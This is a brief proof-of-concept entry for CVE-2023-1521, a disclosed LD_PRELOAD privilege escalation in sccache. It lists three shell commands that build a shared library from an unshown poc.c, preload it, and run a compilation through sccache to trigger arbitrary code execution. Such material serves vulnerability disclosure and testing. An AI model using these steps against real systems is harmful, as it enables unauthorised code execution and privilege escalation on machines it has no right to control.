
Proof-of-concept exploit for CVE-2023-1521 demonstrating LD_PRELOAD-based privilege escalation in sccache, enabling arbitrary code execution during compilation.
gcc -shared -o libpoc.so poc.c -fPIC
export LD_PRELOAD=fullpath_to_libpoc.so
sccache gcc foo.c -o foo